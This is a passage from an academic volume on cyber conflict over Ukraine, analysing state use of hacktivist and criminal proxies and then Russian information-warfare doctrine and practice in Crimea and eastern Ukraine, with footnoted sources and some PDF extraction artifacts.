The Russian Government is considered to be among the most sophisticated actors with significant in-house cyber capabilities,11 and the government in Ukraine faced a dire situation at the beginning of the conflict.
Its military had essentially been falling apart since the end of the Soviet Union and Kyiv was ill-prepared for a conflict with Russia.
As Dmitry Gorenburg points out: At the time of its creation, the Ukrainian military was considered the fourth most powerful conventional military force in the world, behind only the United States, Russia, and China.
However, these forces were allowed to atrophy throughout the post-Soviet period, with virtually no funding provided for the maintenance of equipment or troop training.
Reforms were not carried out and there were no attempts at rearmament to replace aging Soviet equipment.12 The responses from several interviewees confirmed this assessment.
4 Capabilities Outside the State In order for a state to be able to pursue the incentives of using proxy actors, private actor capabilities must exist in the first place.
With regard to cyberspace, such capa- bilities include those present within a states territory and beyond.
Regarding the former, significant capabilities have been present in Ukraine and Eastern Europe since the 1980s.
Misha Glenny, the award-winning journalist, recounts in his 2011 book Dark Market  How Hackers Became the New Mafia that: The hackers of Eastern Europe played a particularly important role in crack- ing security devices played on softwareBulgaria, Ukraine and Russia set the pace, with the Romanians not far behind.13 10 Ukraines Lonely Cyberwarrior vs. Russia, The Daily Beast, February 18, 2015, http://www.thedailybeast.com/arti- cles/2015/02/18/ukraine-s-lonely-cyber-warrior.html.
11 Russia Tops China as Principal Cyber Threat to US, The Diplomat, March 3, 2015, http://thediplomat.com/2015/03/russia- tops-china-as-principal-cyber-threat-to-us/.
12 Dmitry Gorenburg.
Russia and Ukraine: Not the Military Balance You Think, War on the Rocks, November 10, 2015, http:// warontherocks.com/2014/11/russia-and-ukraine-not-the-military-balance-you-think/.
13 Misha Glenny.
McMafia: A Journey Through the Global Criminal Underworld (New York, Vintage Books: 2009), 59 see also Nadiya Kostyuks chapter in this book.
http://thediplomat.com/2015/03/russia-tops-china-as-principal-cyber-threat-to-us/ http://thediplomat.com/2015/03/russia-tops-china-as-principal-cyber-threat-to-us/ http://warontherocks.com/2014/11/russia-and-ukraine-not-the-military-balance-you-think/ http://warontherocks.com/2014/11/russia-and-ukraine-not-the-military-balance-you-think/ 83 Ukraine was the cradle of CarderPlanet, which was changing the nature of cyber- crime around the world.14 One explanation why technically skilled people in the region decided to pursue cybercrime to make a living was the lack of other opportunities.
For example, a job in the Ukrainian Government for somebody in his 20s pays roughly 3,000  a year, not a month.
And while Samsung has one of its largest RD centres in Kyiv, the private IT industry is neither large nor attractive enough to absorb all of the skilled labour, unlike in Israel, for example.15 Interestingly, CarderPlanet was penetrated and compromised by the Russian Secret Police almost as soon as it was set up but: why would the KGB waste resources on investigating networks that are ripping off American and European credit cards?
A complete waste of time.
So for the moment, Moscow was content to observe and store information.
They knew exactly who was who in the Odessa carding community.16 Yet, it was not only the FSB that knew what was happening in Eastern European countries.
In 2009, Brian Krebs, an expert on cybercrime in the region and widely read not only by law enforcement officials in the U.S. but also Ukraine, wondered: whether authorities in those countries would be any more willing to pursue cyber crooks in their own countries if they were forced to confront just how deeply those groups have penetrated key government and private computer networks in those regions?
An example is Dmitry Ivanovich Golubov, once considered a top cybercrime boss by U.S. law enforcement, but now a leader of the Ukrainian Internet Party participating in parliamentary elections.
Russian agencies reportedly provide little assistance with shutting down networks such as the Russian Business Network.
Last but not least, cyber criminals also do their best to avoid attracting local law enforce- ment attention.
As Krebs notes: Some of the most prolific and recognizable malware disbursed by Russian and East European cyber crime groups purposefully avoids infecting computers if the program detects the potential victim is a native resident.17 In sum, there is no shortage in the region of labour skilled in information tech- nology and hacking, while a mature industry is missing, and government salaries of a few thousand dollars a year pale in comparison to reports of thousands or millions of dollars made in the latest cyber heist.
14 Misha Glenny.
McMafia: A Journey Through the Global Criminal Underworld, 48.
15 Nearshoring: Top 20 largest In-House RD offices in Ukraine,GoalEurope, October 4, 2013, http://goaleurope.
com/2013/10/04/nearshore-outsourcing-top-20-largest-rd-offices-in-ukraine/.
16 Misha Glenny.
McMafia: A Journey Through the Global Criminal Underworld, 52-53.
17 Story-Driven Rsum: My Best Work 2005-2009, KrebsonSecurity, December 9, 2010, http://krebsonsecurity.com/2009/12/ story-driven-resume-my-best-work-2005-2009-3/.
http://goaleurope.com/2013/10/04/nearshore-outsourcing-top-20-largest-rd-offices-in-ukraine/ http://goaleurope.com/2013/10/04/nearshore-outsourcing-top-20-largest-rd-offices-in-ukraine/ http://krebsonsecurity.com/2009/12/story-driven-resume-my-best-work-2005-2009-3/ http://krebsonsecurity.com/2009/12/story-driven-resume-my-best-work-2005-2009-3/ 84 5 Mapping and Analysis of Proxy Actors There are several important findings regarding proxies and the conflict in Ukraine.
The first is that proxy actors are active as part of the conflict in Ukraine.
The second is that the amount of cyber proxy activity has remained relatively low.
There are two likely explanations for this: there has been a relatively low number of significant cyber incidents associated with the conflict other than during its initial phase as described above and while there was clearly a significant wave of patriotism and willingness by Ukrainian citizens to volunteer and support the government, several interviewees suggested that the government in Kyiv did not have the ability to absorb and coordinate these extra capacities.
In other words, to draw from the political science literature on power, while significant cyber power resources in the hands of private actors existed, the Ukrainian Government was not able to effectively mobilise these resources to actually project power.
Kyivs cyber power was inhibited by a lack of what Alexander Klimburg calls integrated national capability.18 Thirdly, the conflict does not appear to have mobilised the most sophisti- cated non-state actors with cyber capabilities in the region  the cybercriminals to change their profit-driven behaviour to more politically-driven action.
While the conflict apparently politicised and led to a split of the criminal underground commu- nity in the autumn of 2014, the effect was ephemeral and once the cybercriminals realised that their spat started to affect their business, money trumped politics, according to Konstatin Korsun, head of coun- cil at the NGO Ukrainian Information Security Group and director at the private cybersecurity company Berezha Security.19 A closer look reveals a range of proxy actors has been active.
In the context of a broader analysis of the market for force, it is notable that the crisis in Ukraine demonstrated that cybersecurity is a domain where private actors possess signifi- cant capabilities and are used by states for both defensive and offensive purposes.
For example, the limited capabilities of the Ukrainian Government have been aug- mented through NATO assistance, namely its Cyber Defence Trust Fund, to train and improve Ukraines cyber defences.
Interestingly, the lead NATO member pro- viding that assistance, Romania, has itself not been providing this assistance directly through its government, but is relying on a proxy actor, a state-owned company called Rasirom, to provide the service.20 18 Joseph S. Nye, Jr.
The Future of Power (New York: Public Affairs, 2011).
Alexander Klimburg, Mobilising Cyber Power, Survival 53.1 (2011), 56.
19 Kostiantyn Korsun, LinkedIn, accessed August 25, 2015, https://ua.linkedin.com/pub/kostiantyn-korsun/1b/12b/580.
20 Romania Turns Hacking Crisis Into Advantage, Helping Ukraine, The New York Times, May 13, 2015, http://www.nytimes.
com/aponline/2015/05/13/world/europe/ap-eu-romania-ukraine-cyber-warfare.html NATO-Ukraine Trust Fund on Cyber Defence, Romanias Permanent Representation to NATO, accessed August 25, 2015, http://nato.mae.ro/en/local-news/804.
Once cybercriminals real- ised that their spat started to affect business, money trumped politics.
http://www.nytimes.com/aponline/2015/05/13/world/europe/ap-eu-romania-ukraine-cyber-warfare.html http://www.nytimes.com/aponline/2015/05/13/world/europe/ap-eu-romania-ukraine-cyber-warfare.html http://nato.mae.ro/en/local-news/804 85 While criminal groups have not been active players in the Ukraine conflict, the most prominent proxy actors have been hacktivist groups.
These groups include pro- Kyiv OpRussia, Russian CyberCommand (which considers itself to be part of Anon- ymous),21 Cyber Ukrainian Army, Cyber Hundred, Null Sector,22 and the pro-Mos- cow CyberBerkut and Anonymous Ukraine.23 Their activities have been limited to DDoS attacks, web defacements, and the occasional leaking of government files.
The most serious incident involved the aforementioned targeting of the Ukrainian voting system during the Ukrainian Presidential election.
While Ukrainian govern- ment officials and many news reports blame the Russian Government for indirectly orchestrating these operations, as well as for the crude hack attacks on Ukrainian state websites, the Russian Government has vehemently denied accusations that it has any influence over these groups.
Evidence for a relationship between pro-Rus- sian separatists or hacker groups such as Cyber Berkut and the Russian Government remains lacking.
The Ukrainian Cyber Force has been among the most prominent Ukrainian hacktivist groups.
It is led by Eugene Dokukin and a group of volunteers he recruited through social media, whose number has fluctuated from several dozens to a few hundred, and primarily includes ordinary citizens without a technical background.24 The Ukrainian Cyber Force combines a series of different activities, ranging from the unauthorised monitoring of CCTV cameras in eastern Ukraine and Russia, to reporting troop and separatist activities to web companies in an effort to shut down their accounts, launching DDoS attacks against websites, and leaking sensitive doc- uments from the Russian Government.
While Dokukin has given a series of inter- views and shares information about his actions with the media and the government, there is no evidence that the government coordinates or supports him financially or otherwise.
Instead, the government has been turning a blind eye.
Related to the conflict in Ukraine are the findings of several industry reports.
The U.S.-based security company FireEye published a report titled APT28: A Win- dow into Russias Cyber Espionage Operations?,
detailing the activities of a group conducting political espionage against East European countries and security organ- isations.
FireEye: conclude[s] that we are tracking a focused, long-standing espionage effort.
Given the available data, we assess that APT28s work is sponsored by the Rus- sian Government.25 21 Jeffrey Carr.
Rival hackers fighting proxy war over Crimea, CNN, March 25, 2014, http://www.cnn.com/2014/03/25/opinion/ crimea-cyber-war/.
22 Cyber Wars: The Invisible Front, Ukraine Investigation, April 24, 2014, http://ukraineinvestigation.com/cyber-wars-invisi- ble-front/.
23 Cyber Berkut Graduates From DDoS Stunts to Purveyor of Cyber Attack Tools, Recorded Future, June 8, 2015, https://www.
recordedfuture.com/cyber-berkut-analysis/.
24 Cyber warrior steps up effort to help in war with Russia, KyivPost, February 10, 2015, http://www.kyivpost.com/content/kyiv- post-plus/cyber-warrior-steps-up-effort-to-help-in-war-with-russia-380184.html.
25 APT28  A Window Into Russias Cyber Espionage Operations?
FireEye, October 27, 2014, https://www2.fireeye.com/apt28.
html.
http://www.cnn.com/2014/03/25/opinion/crimea-cyber-war/ http://www.cnn.com/2014/03/25/opinion/crimea-cyber-war/ http://ukraineinvestigation.com/cyber-wars-invisible-front/ http://ukraineinvestigation.com/cyber-wars-invisible-front/ https://www.recordedfuture.com/cyber-berkut-analysis/ https://www.recordedfuture.com/cyber-berkut-analysis/ http://www.kyivpost.com/content/kyiv-post-plus/cyber-warrior-steps-up-effort-to-help-in-war-with-russia-380184.html http://www.kyivpost.com/content/kyiv-post-plus/cyber-warrior-steps-up-effort-to-help-in-war-with-russia-380184.html https://www2.fireeye.com/apt28.html https://www2.fireeye.com/apt28.html Perhaps the most interesting report is the one published by the Finnish firm F-Secure titled BlackEnergy  Quedagh  The convergence of crimeware and APT attacks.
The authors highlight that in 2014, malware named BlackEnergy, originally developed and used for criminal profit-driven purposes, was deployed against gov- ernment organisations in Ukraine by a group the report calls Quedagh.
The report concludes by stating that: the use of BlackEnergy for a politically-oriented attack is an intriguing conver- gence of criminal activity and espionage.
As the kit is being used by multiple groups, it provides a greater measure of plausible deniability than is afforded by a custom-made piece of code.26 6 Conclusion The conflict in Ukraine includes a range of proxy actors and proxy activity.
This should be expected given the existence of a hot conflict, the presence of significant cyber capa- bilities in private hands, and incentives for the nations involved to use these private capabilities.
However, the amount of cyber proxy activity has remained relatively low, much like the overall level of computer network operations compared to what some experts predicted.
It is notable that the conflict does not appear to have politicised and mobilised the most sophisticated non-state actors with cyber capabilities  the cyber- criminals  to change their profit-driven behaviour to more politically-driven action.
Moreover, the Ukrainian Government has not had the capacity and strategy in place to be able to absorb the additional capabilities provided by volunteers.
Kyiv has therefore not been able to mobilise and project the full potential of Ukraines power due to the limited use of its true power resources.
While the Ukrainian Government regularly accuses the Russian Government of using proxies, there seems to be less vehemence from the Russian side criticising, for example, the activities of the Ukrainian Cyber Forces.
According to one interviewee, one explanation is that the Russian Govern- ment has more to gain from being able to point to the existence of Ukrainian proxies in order to thereby indirectly legitimise the existence of Russian proxies.
While this chapter hopefully shed some light on the role of proxy actors in the Ukraine conflict, it is necessary to point to some important limitations and issues that were beyond the scope of this short piece.
First, the term proxies lacks a clear definition.
While it is used in the GGE report, it is not defined, even though the report distinguishes proxies as a separate type of actor from state and non-state actors.
Developing a more systematic and nuanced analytical framework for proxies is therefore the focus of my current research.
This will hopefully be useful for future empirical research on proxy actors around the world, as well as for ongoing policy discussions through the GGE and elsewhere.
26 The convergence of crimeware and APT attacks, F-Secure, 2014, https://www.f-secure.com/documents/996508/1030745/ blackenergy_whitepaper.pdf.
https://www.f-secure.com/documents/996508/1030745/blackenergy_whitepaper.pdf https://www.f-secure.com/documents/996508/1030745/blackenergy_whitepaper.pdf 87 Russian Information Warfare: Lessons from Ukraine Margarita Levin Jaitner Swedish Defense University 1 Introduction Information is now a species of weapon,1 write Russians Maj.
Gen. (R) Ivan Vorob- yev and Col. (
R) Valery Kiselyov.
Closer to the truth is that Russia has a long history of using information as a weapon  both in the context of mobilising its own popu- lation2 and in demonising foreign powers.3 Therefore, it is only natural that Russia has employed Information Warfare (IW) in Ukraine: from the onset of the Euromaidan demonstrations, to the annexation of Crimea, and as a dimension of ongoing military operations in eastern Ukraine.
And it is equally unsurprising that, in the internet era, Moscow has developed effec- tive tactics for waging IW in cyberspace.
This chapter discusses contemporary Russian IW theory and analyses Russian IW activities on the ground in Crimea and in eastern Ukraine.
While the dynamic and diffuse nature of IW makes it difficult to gauge its precise impact, this chap- ter argues that Russian IW in Crimea and in eastern Ukraine has been highly successful, and that the West is currently playing catch up vis--vis Russia in this arena.
1 Vorobyov, I. and Kiseljov, V. Russian Military Theory: Past and Present.
Military Thought 2013 (3).
2 Peter Kenez.
The birth of the propaganda state: Soviet methods of mass mobilization, 1917-1929 (Cambridge University Press, 1995).
3 David M. Glantz.
Surprise and Maskirovka in Contemporary War.
Soviet Army Studies Office, Army Combined Arms Center, Fort Leavenworth KS, 1988).
http://www.dtic.mil/get-tr-doc/pdf?LocationU2docGetTRDoc.pdfADADA216491.
Chapter 10 http://www.dtic.mil/get-tr-doc/pdf?LocationU2docGetTRDoc.pdfADADA216491 88 2 Information Security and Cyber Security in Russian Military Theory In Russian government and academic circles, information is understood to be a form and source of great power.
This was true well before the advent of the internet and cyberspace  which have not changed Russian IW strategy, but only its tactics.
In the West, cyber security and information security are considered to be two different things.
In Russia, however, cyber is subordinate to information security, which allows national security planners to oversee both technical data (e.g.
the integrity of password files) and cognitive data (e.g.
political information on web- sites).
Thus, any information found on the World Wide Web could be a missile fired at Russia that is more dangerous than a typical cyber attack as currently under- stood in the West.
The logical consequence of this Russian perspective is to define and to protect the borders of the Russias information space ( ), and this philosophy is to be found easily in Russian doctrines, strategies, and activ- ities both at home and abroad  including in Ukraine.
For example, Russias National Security Strategy 2020 states that nationalist, sep- aratist, radical religion is a danger to nation-states, and that a global information struggle is now intensifying.
The document proposes to counter this threat by dis- seminating truthful information to Russian citizens, including via the promotion of native internet platforms encompassing social media.4 As for the importance of cyberspace, numerous official documents describe computer network operations as an integral part of Russian information security, including: Information Security Doc- trine of the Russian Federation,5 Con- ceptual Views Regarding the Activities of the Armed Forces of the Russian Fed- eration in the Information Space,6 and Basic Principles for State Policy of the Russian Federation in the Field of International Information Security.7 Academic discourse within the Russian military is similar.
From a historical per- spective, progress in computer science has wrought a new generation of warfare in which the achievement of information superiority in cyberspace is an essential goal.
Within any desired zone of influence, this includes attacks against and defence of 4 Security Council of the Russian Federation.
2020 .
(
National Security Strategy to 2020) (Moscow, 2009).
5 Security Council of the Russian Federation.
2000.
.
(
In- formation Security Doctrine of the Russian Federation.)
(
Moscow, 2000).
6 Ministry of Defence of the Russian Federation. . (
Conceptual Views Regarding the Activities of the Armed Forces of the Russian Federation in the Information Space) (Moscow, 2011).
7 Security Council of the Russian Federation.
2020 .
(
Basic Principles for State Policy of the Russian Federation in the Field of International Information Security to 2020.)
(
Moscow, 2013).
Information superiority in cyberspace is an essential goal.
89 both technical data and cognitive information, as well as and psychological opera- tions, or PSYOPS.
Maj.
Gen. (R) Ivan Vorobyev and Col. (
R) Valery Kiselyov have written that information is not just an addition to firepower, attack, manoeuvre, but trans- forms and unites all of these.8 Col. (
R) Sergei Chekinov and Lt.
Gen. (R) Sergei Bogdanov go even further: Today the means of information influence reached such perfection that they can tackle strategic tasks.9 Checkinov and Bogdanov point out  in the aftermath of the annexation of Crimea and the current destabilisation of Ukraine  that information can be used to disorganise governance, organise anti-government protests, delude adversaries, influence public opinion, and reduce an opponents will to resist.
Furthermore, it is critical that such activities begin prior to the onset of traditional military opera- tions.10 At least since Soviet times, Russia considers itself to be a victim of IW, engaged in a battle between the historical Russian world (of which Ukraine is a part) and the West where the US is its principal antagonist.11 Professor Igor Panarin has described a first information war during the Cold War that resulted in the demise of the Soviet Union.
Today, he sees an Operation ANTI-PUTIN modelled on an earlier Opera- tion ANTI-STALIN.
He contends that Western IW was behind both the Arab Spring12 and Euromaidan, and that WikiLeaks Julian Assange is an agent of the British MI6.13 Panarin believes there is a second information war taking place against countries such as Russia and Syria which began at least by the time of the Russo-Georgian war in 2008.14 Russian President Vladimir Putin has characterised the rift between Russia and the West as an incompatibility of values ( ).15 Panarin is far from being the only contemporary Russian military thinker argu- ing this line.
A group of five authors recently wrote in Russias Military Thought that The NATO countries led by the US  have set up a powerful information opera- tions (IO) system and are going on expanding and improving it.16 8 Vorobyov and Kiseljov Russian Military Theory: Past and Present.
Military Thought, 2013 (3).
9 Sergei G. Checkinov and Sergei A. Bogdanov.
Asymmetrical Actions to Maintain Russias Military Security.
Military Thought, 2010 (1).
10 Sergei G. Checkinov and Sergei A. Bogdanov.
The Art of War in the Early 21st Century: Issues and Opinions.
Military Thought, 2015 (24).
11 Igor Panarin.
.
(
Information warfare and communications.
).
Moskva, Russia: Goryachaya Liniya  Telekom, 2014a.
12 Ibid.
13 Igor Panarin.
Posting on Facebook , 29 June, 2014b.
http://www.facebook.com/permalink.php?story_fbid487886764691548 id100004106865632frefts.
Accessed 19 December, 2014.
14 Igor Panarin.
2014a.
15 Vladimir Putin.
.
(
Putin to defend traditional family values).
Vesti, 12 December, 2013a.
http://www.vesti.ru/doc.html?id1166423 Vladimir Putin.
(
Our values unite us as peoples.
Speech in Kyiv 27.07.2013.
).
YouTube, 2013b.
https://www.youtube.com/ watch?vYW1WYh_gvJg Accessed 20 December 2014.
16 Dylevski, I.N., Elyas, V.P., Komov, S.A., Petrunin, A.N.
Zapivakhin V.O.Political and Military Aspects of the Russian Feder- ations State Policy on International Information Security.
Military Thought, 2015 (24).
Information can disorganise governance, delude adversar- ies and reduce an opponents will to resist.
http://www.facebook.com/permalink.php?story_fbid487886764691548id100004106865632frefts http://www.facebook.com/permalink.php?story_fbid487886764691548id100004106865632frefts http://www.vesti.ru/doc.html?id1166423 https://www.youtube.com/watch?vYW1WYh_gvJg https://www.youtube.com/watch?vYW1WYh_gvJg 90 Even Russia, however, is not a monolith.17 Some military scholars have criticised the prevailing view and have suggested that a distinction should be drawn between attacks on technical and cognitive data, detailing a technospheric war largely cor- responding to the Western perception of cyber war.18 Similarly, a publicly available draft of the next Cyber Security Strategy of the Russian Federation problematises the difference between the Russian and the Western views on the matter, suggesting that cyber security and information security be treated as distinct challenges.
However, to date these remain unimplemented proposals.
3 Russian IW in Crimea and Novorossiya19 Russian IW in Ukraine began well before the current conflict.
The Security Services of Ukraine (SBU) warned that its government officials had been targeted by Russian espionage malware (variously called Snake, Uroboros or Turla) since 2010.20,21,22 Successful cyber espionage can have a strategic impact.
In a military context, it can be directly linked to a desire to gain information superiority on the battlefield,23 and can sometimes be easy to associate with ongoing military operations.24 In Crimea, just as soon as insignia-less armed fighters appeared on the scene (the same dynamic later occurred in east- ern Ukraine), Russian media referred to them as friendly people who were good to civilians,25 while the Ukrainian side called them the little green men from Russia.
For weeks, Vladimir Putin26 and 17 Balybin, C., Donskov, Yu.
and Boyko A.
Electronic Warfare Terminology in the Context of Information Operations.
Military Thought, 2014 (23) 3.
18 Yurii Starodubtsev, Vladimir Bukharin and Sergei Semenov (2012).
(War in the technosphere).
(
Military Thought) 2012(7).
19 Novorossiya  historically a region north of the Black Sea, annexed by the Russian Empire following the Russo-Turkish wars.
The term was revived to denote a confederation of the self-proclaimed Donetsk Peoples Republic and Lugansk Peoples Repub- lic in eastern Ukraine.
20 Security Service of Ukraine, SBU. . (
Security Service of Ukraine warns of fake e-mails on behalf of public authorities).
26 September, 2014.
http://www.sbu.gov.ua/sbu/control/uk/publish/article?art_id132039cat_id39574.
21 Snake Cyber-espionage Campaign Targetting Ukraine is Linked to Russia.
InfoSecurity Magazine, 11 March 2014.
http://www.
infosecurity-magazine.com/news/snake-cyber-espionage-campaign-targetting-ukraine/.
22 Turla: Spying tool targets governments and diplomats.
Symantec, 7 August 2014.
http://www.symantec.com/connect/blogs/ turla-spying-tool-targets-governments-and-diplomats.
23 James J. Coyle.
Russia Has Complete Information Dominance in Ukraine.
Atlantic Council,12 May 2015.
http://www.atlantic- council.org/blogs/new-atlanticist/russia-has-complete-informational-dominance-in-ukraine.
24 Operation Armageddon: Cyber Espionage as a Strategic Component of Russian Modern Warfare.
Lookingglass, 28 April 2015.
https://lgscout.com/wp-content/uploads/2015/04/Operation_Armageddon_FINAL.pdf.
25 Aleksandr Leonov.
:      .
(
Future soldiers: The friendly mens equipment in Crimea.
).
Forbes, 7 March 2014.
http://m.forbes.ru/article.php?id251676.
26 Vladimir Putin.
:
.
.
(
Putin: There are no Russian soldiers.
This is Crimeas popular defense.
).
YouTube, 2014b.
https://www.youtube.com/watch?vqzKm7uxK8ws.
Accessed 20 Decem- ber 2014.
The course of events was enveloped in a sophisticated effort to control the flow of information.
http://www.sbu.gov.ua/sbu/control/uk/publish/article?art_id132039cat_id39574 http://www.infosecurity-magazine.com/news/snake-cyber-espionage-campaign-targetting-ukraine/ http://www.infosecurity-magazine.com/news/snake-cyber-espionage-campaign-targetting-ukraine/ http://www.symantec.com/connect/blogs/turla-spying-tool-targets-governments-and-diplomats http://www.symantec.com/connect/blogs/turla-spying-tool-targets-governments-and-diplomats http://www.atlanticcouncil.org/blogs/new-atlanticist/russia-has-complete-informational-dominance-in-ukraine http://www.atlanticcouncil.org/blogs/new-atlanticist/russia-has-complete-informational-dominance-in-ukraine https://lgscout.com/wp-content/uploads/2015/04/Operation_Armageddon_FINAL.pdf http://m.forbes.ru/article.php?id251676 https://www.youtube.com/watch?vqzKm7uxK8ws 91 Russian Defence Minister Sergei Shoigu27 denied the participation of Russian troops in the Crimea takeover  even though Ukrainian troops on the peninsula were forced into a quick, large-scale surrender.2829 In warfare, there has always been a tight relationship between IW and traditional military operations.
In Crimea, the entire course of events  from the takeover of the Simferopol parliament to the disputed referendum and the Russian annexation of Crimea  was enveloped in a sophisticated effort to control the flow of informa- tion.
Russian IW extended across the entire spectrum of communication in both the cyber and non-cyber domains, targeting its physical, logical, and social layers.
In early March, Ukrtelecom reported kinetically damaged fiber-optic trunk cables, as well as the temporary seizure of its companys offices.
Further disclosures detailed the jamming of Ukrainian naval communications.30 SBU Chief Valentyn Nalyvaic- henko declared that Ukrainian government officials mobile communications were subjected to an IP-telephonic attack.31 And on the World Wide Web, government sites and news portals suffered Distributed Denial of Service (DDoS) attacks and deface- ments  all of which contributed to a significant information blackout.32,33 The hacktivist group Cyberberkut34 has repeatedly claimed to have gained access to telephone recordings and e-mail correspondence between Ukrainian, European Union (EU) and US officials  and released some content to prove it.
Cyberberkut also allegedly attacked the Ukrainian electronic voting system and defaced several NATO websites.35 The importance of gaining information superiority in warfare can be seen in how much time and resources have been spent in creating official, semi-official, and unofficial sources of war-related information, including dedicated channels on YouTube.36 The success of IW is hard to gauge, but these attacks likely made it more difficult for Kyiv to gain a clear picture of what was happening in Crimea  which in turn presumably hampered its decision-making process.
Even unsophisticated cyber attacks tend to generate significant media attention, and as a bonus can sow general distrust in systems and their security architecture.37 27 Sergey Shoigy.
2014.
:   .
(
Shoigu on Russian military in Crimea: nonsense and provocation).
BBC Russkaya Sluzhba, 5 March 2014.
http://www.bbc.co.uk/russian/russia/2014/03/140305_ crimea_troops_shoigu.
28 Yuzhniy Kurier.
.
.
(
The End.
Ukrainian soldiers in Crimea surrender.
).
Yuzhniy Kurier, March 19, 2014.
http://courier.crimea.ua/news/courier/vlast/1146781.html.
29 CNN.
.
(
Ukrainian troops surrender to Crimean self-defence forces.
).
edited by RT, 19 March 2014.
http://russian.rt.com/inotv/2014-03-19/CNN-Ukrainskie-vojska-v-Krimu.
30 Tim Maurer and Scott Janz.
The Russia-Ukraine Conflict: Cyber and Information Warfare in a Regional Context.
The Interna- tional Relations and Security Network, 17 October 2014.
http://www.isn.ethz.ch/Digital-Library/Articles/Detail/?id184345.
31 Pierluigi Paganini.
Crimea  The Russian Cyber Strategy to Hit Ukraine.
InfoSec Institute, 11 March 2014.
http://resources.
infosecinstitute.com/crimea-russian-cyber-strategy-hit-ukraine/.
32 Tim Maurer and Scott Janz.
The Russia-Ukraine Conflict: Cyber and Information Warfare in a Regional Context.
33 Piret Pernik.
Is All Quiet on the Cyber Front in the Ukrainian crisis?
RKK ICDS International Centre for Defence and Security, 7 March 2014.
http://www.icds.ee/et/blogi/artikkel/is-all-quiet-on-the-cyber-front-in-the-ukrainian-crisis/.
34  http://cyber-berkut.org/en.
35 Pierluigi Paganini.
Crimea  The Russian Cyber Strategy to Hit Ukraine.
36 YouTube.
2014.
Database query:  .
Accessed 13 December 2014.
37 Tim Maurer and Scott Janz.
The Russia-Ukraine Conflict: Cyber and Information Warfare in a Regional Context.
http://www.bbc.co.uk/russian/russia/2014/03/140305_crimea_troops_shoigu http://www.bbc.co.uk/russian/russia/2014/03/140305_crimea_troops_shoigu http://courier.crimea.ua/news/courier/vlast/1146781.html http://russian.rt.com/inotv/2014-03-19/CNN-Ukrainskie-vojska-v-Krimu http://www.isn.ethz.ch/Digital-Library/Articles/Detail/?id184345 http://resources.infosecinstitute.com/crimea-russian-cyber-strategy-hit-ukraine/ http://resources.infosecinstitute.com/crimea-russian-cyber-strategy-hit-ukraine/ http://www.icds.ee/et/blogi/artikkel/is-all-quiet-on-the-cyber-front-in-the-ukrainian-crisis/ http://cyber-berkut.org/en 92 Ukrainian military commentator Dmitry Tymchuk, speaking on behalf of the Information Resistance group,38 accused the interim government in Kyiv of lacking clarity and moving too slowly,39 and Ukrainian parliament (Verhovna Rada) mem- ber Gennady Moskal complained that Ukrainian troops had not received permis- sion to use their weapons in time.40 Today, the war in eastern Ukraine can also be described as a hall of IW smoke and mirrors.
On 17 April, 2014, Vladimir Putin referred to the south-eastern part of Ukraine as Novorossiya, and a similarly named confederation was formally created on May 24, 2014.41 However, an analysis of web data shows that cyber preparations were made prior to this announcement: Novorossiya websites such as novorus.info and novorossia.su were registered with who.is in March 2014, and the official websites of the Peoples Republics of Donetsk and Lugansk were registered before the entities came into being.42 Finally, Moscow has consistently denied that its military personnel are engaged in Ukraine, but web-based studies have found evidence of their deployments to Ukraine43 as well as their involve- ment in the crash of the Malaysian Airlines flight 17,44 via social media and imag- ery analysis.45 4 The Unique Characteristics of Russian IW The Russian political narrative  aimed at both domestic and foreign audiences describes a Russian World ( ), Russian values, and even a Russian soul.
The narratives articulation begins at the very top, in the person of Vladimir Putin, and flows downward in a pyramidal fashion through traditional media and cyberspace all the down to the grassroots level.
It targets not just Russian citizens but the entire Russian-speaking population of planet Earth.
Beyond that, it is expected that the narratives influence will organically spread outside the diaspora.
The basic storyline is easy to comprehend and to convey, and is intended to be become a foundation for the interpretation of current and future world events.
In this narrative, Russia is a misunderstood and misjudged superpower, and a neces- sary counterweight to Western liberal values.
By contrast, the West has experienced 38 Information Resistance is, according to its own description on http://sprotyv.info/en/about-us, a non-governmental project that aims to counteract external threats to the informational space of Ukraine.
The group provides operational data and analyt- ics.
As one of the projects front figures, Dmitry Tymchuk has provided analysis to, amongst others, Kyiv Post and Huffington Post.
39 Dimitro Tymchuk.
(On betrayal).
Gazeta.ua, March 2014.
http://gazeta.ua/ru/blog/42707/o-predatelstve.
40 Yuzhniy Kurier.
.
.
(
The End.
Ukrainian soldiers in Crimea surrender.
).
Yuzhniy Kurier, 19 March 2014.
http://courier.crimea.ua/news/courier/vlast/1146781.html.
41 Vladimir Putin.
.
Phone-in with Vladimir Putin.
(
Transcript).
17 April 2014.
http:// kremlin.ru/news/20796.
42 See who.is listings for novorus.info (http://who.is/whois/novorus.info), novorossia.su (http://who.is/whois/novorossia.su) 43 Selfie Soldiers: Russia Checks in to Ukraine.
Vice News, 16 June, 2015.
44 Bellingcat.com By and for citizen investigative journalists: Russia.
http://www.bellingcat.com/tag /russia/.
45 NATO ACO  Allied Command Operations.
New Satellite Imagery Exposes Russian Combat Troops Inside Ukraine.
NATO Allied Command Operations: News, 28 August 2014.
http://aco.nato.int/new-satellite-imagery-exposes-russian-com- bat-troops-inside-ukraine.aspx.
http://sprotyv.info/en/about-us http://gazeta.ua/ru/blog/42707/o-predatelstve http://courier.crimea.ua/news/courier/vlast/1146781.html http://kremlin.ru/news/20796 http://kremlin.ru/news/20796 http://who.is/whois/novorus.info http://who.is/whois/novorossia.su http://www.bellingcat.com/tag /russia/ http://aco.nato.int/new-satellite-imagery-exposes-russian-combat-troops-inside-ukraine.aspx http://aco.nato.int/new-satellite-imagery-exposes-russian-combat-troops-inside-ukraine.aspx 93 a decay of traditional values and acts hypocritically in the international arena.
As a result, the Wests philosophy, systems, and actions should not be trusted.
At the bottom of the pyramid, the Russian political narrative is absorbed into individual group ideologies in different ways.
For example, nationalists focus on Russias historic power, while communist groups decry capitalism.
Each group self-selects and customises the narrative in unique ways that correspond to their own natural biases.
And this stovepiping dynamic also tends to bypass critical peer review from the wider public.
This group dynamic capitalises on the pre-established interpersonal trust charac- teristic of online social media  a by-product of information overload in the internet era.
There are many groups which are naturally sceptical of mainstream information channels, such as the population of the Former Soviet Union, where citizens have long had little trust in official media.
In Moscow, the word of friends and colleagues is immeasurably more important than that of mass media.46 One of the latest developments in this arena has been the rise of professional trolls and other (sometimes anonymous) opinion agents.
Such operations (in Rus- sian military terminology maskirovka (), or denial and deception) can be countered through the effective analysis of open source information, but usu- ally not in a timely manner.
Therefore, analysts and scholars must exercise caution, because online persona, images, messages, and campaigns can be wholly fabricated.
